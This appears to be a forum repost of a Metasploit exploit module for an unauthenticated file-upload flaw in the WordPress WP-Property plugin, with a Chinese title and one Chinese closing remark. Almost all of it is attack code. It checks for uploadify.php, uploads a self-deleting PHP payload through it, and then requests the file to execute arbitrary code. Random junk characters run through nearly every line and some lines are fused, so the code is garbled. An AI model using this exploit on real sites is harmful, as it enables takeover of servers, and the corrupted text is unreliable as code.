WordPress WP-Property PHP 文件上传漏洞) k7 p1 E1 d8 ^1 U" q- g
) ^* O( N3 g* F; h6 e9 t8 w- K
## # This file is part of the Metasploit Framework and may be subject to
* { n+ }( H8 `0 M! z' j3 i% J% |5 J3 v ]' m
# redistribution and commercial restrictions. Please see the Metasploit' J Q$ J9 G6 f5 E% S
3 V, l9 P2 L9 \0 n! ~& ]3 |- C- f# Framework web site for more information on licensing and terms of use.
" {; s" E5 x: R* w; T" h2 Q& i" F& y# Q, E' k$ v2 \7 i
# http://metasploit.com/framework/ ##
" B0 h7 x. I; y- K F
6 ?: U- N" H3 ?0 W# l. N$ e: d $ P( W: @1 R0 w: l8 Z4 f8 n/ r( V
# J( _: r8 c3 p9 @: o8 i
4 Y; F7 p# Z# `& L8 P2 ^: [
2 ?/ c- W: P2 u( Jrequire 'msf/core'
) O0 O9 ^: P0 f3 Y# nrequire 'msf/core/exploit/php_exe'
, f8 X0 q+ A# [, x
4 c }$ v0 }* ]5 x4 n( m; |) W+ ^9 Yclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
3 V# s4 p( I4 C' g& Y U6 w'Description' => %q{7 A; x3 X0 F" h! H/ o6 @5 v
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>% r( R$ u, O: C; p/ N/ a( h, N
[& L% F8 _8 O. Z) f5 ?
'Sammy FORGIT', # initial discovery/ F% | d, r7 c$ x }
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
3 c0 s$ _5 Y& @, O8 b( c+ d],
, H3 ^; S* G5 e- h7 Z5 {'License' => MSF_LICENSE,
1 _5 Z0 n& E% }4 l: b'References' =>
' w n* w0 W) M; ^& D: c. O. `[
. o6 f3 r: v4 I0 _[ 'OSVDB', '82656' ],
; H1 C& I" Z2 X: n' I) c7 H( x; Z[ 'BID', '53787' ],
9 Y: T+ a& k- i; l0 I[ 'EDB', '18987'],
2 t9 {/ }, T1 a. |[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
5 v. E: T6 W3 @% t# H],( {& ?; h8 G+ a, r
'Payload' =>
( ]/ V) S0 j: W/ y- D6 L{
9 Z9 r4 I# k: ~% D& u4 J'BadChars' => "\x00",* }3 `6 {. H. m: l
},
- w1 J+ ~! R0 I- z'Platform' => 'php',
3 v# o- H# v9 U. s. g; G'Arch' => ARCH_PHP,! Z) q8 h L9 _& a3 s6 } R# a
'Targets' =>& y0 N+ ~) Q' M* `& y9 `
[6 }+ @+ ?) C5 B+ i0 [5 w& c( W
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
; X+ w/ Z- Q% ~* ~[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]- ? B( a1 U5 l8 D3 [
],3 u. h) p) ]- u0 ]7 Q9 Z8 R
'DefaultTarget' => 0,1 G+ p/ S2 k$ M# s: p# \
'DisclosureDate' => 'Mar 26 2012'))! }! P: o! K6 ^4 g V5 T/ }
' Y% g# w: [5 U* k( Z
register_options(
0 m( R+ C. ~. P3 c' u[1 {5 J' \5 m0 q, ]* l4 ?( D3 k
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
8 ]8 u2 T. Y0 u, [, n], self.class)- h8 ^3 a! a9 v# a: S$ f+ ?) [
end
% a3 i# ^( T J; P2 u4 G, w! s0 Z3 [
def check
/ |- T+ l9 H. {0 Z6 j# g: G: N* Y7 Ouri = target_uri.path
3 i$ v) Y z. Q' a" }uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
) w! ~6 u: q5 `+ {' c'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
( G* n) I* v' j: f. {})7 E5 X/ O( l J. e4 O: @# A
) s" B: [. O5 q0 r) M
if not res or res.code != 200( K7 r# t, c4 ~: b- |) A
return Exploit::CheckCode::Unknown
+ k2 T5 H% T# L; Send( c" p7 r6 l# d6 n8 r
7 ^% d9 }1 e7 |' P) P/ G c- t7 areturn Exploit::CheckCode::Appears# R) E9 Z* s" m, t- W* B' r7 ^, C
end0 H! }7 D% e0 q% _
2 e! U1 @* [# v q' h) {
def exploit
! i6 p! @+ x/ Y# Q* {9 n- f0 ruri = target_uri.path
9 r" v" d3 u! b9 L2 ^$ } U) Z, Q* c' ?uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
7 ~% J) S/ i* ?& o+ O( w
5 t4 o8 Y! P6 N: b% F ^! l/ }data = Rex::MIME::Message.new
4 A1 P7 m5 l/ N; I3 p. Cdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
. W/ u8 o1 x; odata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")1 x- ]- _) B0 K! O3 B# x" p
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')" K* L- {5 ]0 M: v+ }( Q
; h3 S7 u+ V. B+ i/ Q5 ^# }
print_status("#{peer} - Uploading payload #{@payload_name}")% E' d. q. w7 D. C
res = send_request_cgi({( K. }" z% z/ K% z) G8 L
'method' => 'POST',
. L! w- y; J6 Y0 w9 Q5 Q$ Z'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
* y! m. i3 @% x7 q'ctype' => "multipart/form-data; boundary=#{data.bound}",+ a, ~* M) s; C/ x3 o. o- e
'data' => post_data+ L0 a* F: c0 A2 ?+ J9 V% L
})$ ?5 P+ ^$ t0 |* A+ X8 L( V* _- R$ L
}8 E, Q, Y' O. c& P7 H+ n
if not res or res.code != 200 or res.body !~ /#{@payload_name}/& h" Y: G9 e! W, b2 r
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
) C9 P& j; b; p+ r& r/ pend4 f, r; a/ g, n/ d% b" n% |
) H9 F% ~7 {: X: |3 Qupload_uri = res.body
3 z S8 T) x& v3 C0 I0 l5 G' l- j* h& y* h' g8 a1 V; w
print_status("#{peer} - Executing payload #{@payload_name}")6 t+ {2 Z. E2 c" C( ]# i/ l
res = send_request_raw({" @1 v6 c+ k8 P, y7 r2 n k
'uri' => upload_uri,
1 k) x) L" X2 p& X: @'method' => 'GET'% H* e) {* b* R$ U" @
})5 P5 B: m3 ?7 _/ w F
end
( p' H5 U6 A. f; d: v5 M6 Eend3 o% p8 L& w. \% `
1 R0 P+ F4 m3 E4 b1 [3 Y
不要问我这写的是什么 怎么利用 我是说msf.) [) ^2 ~5 v2 L$ X
- j: c5 g& k3 T/ z
|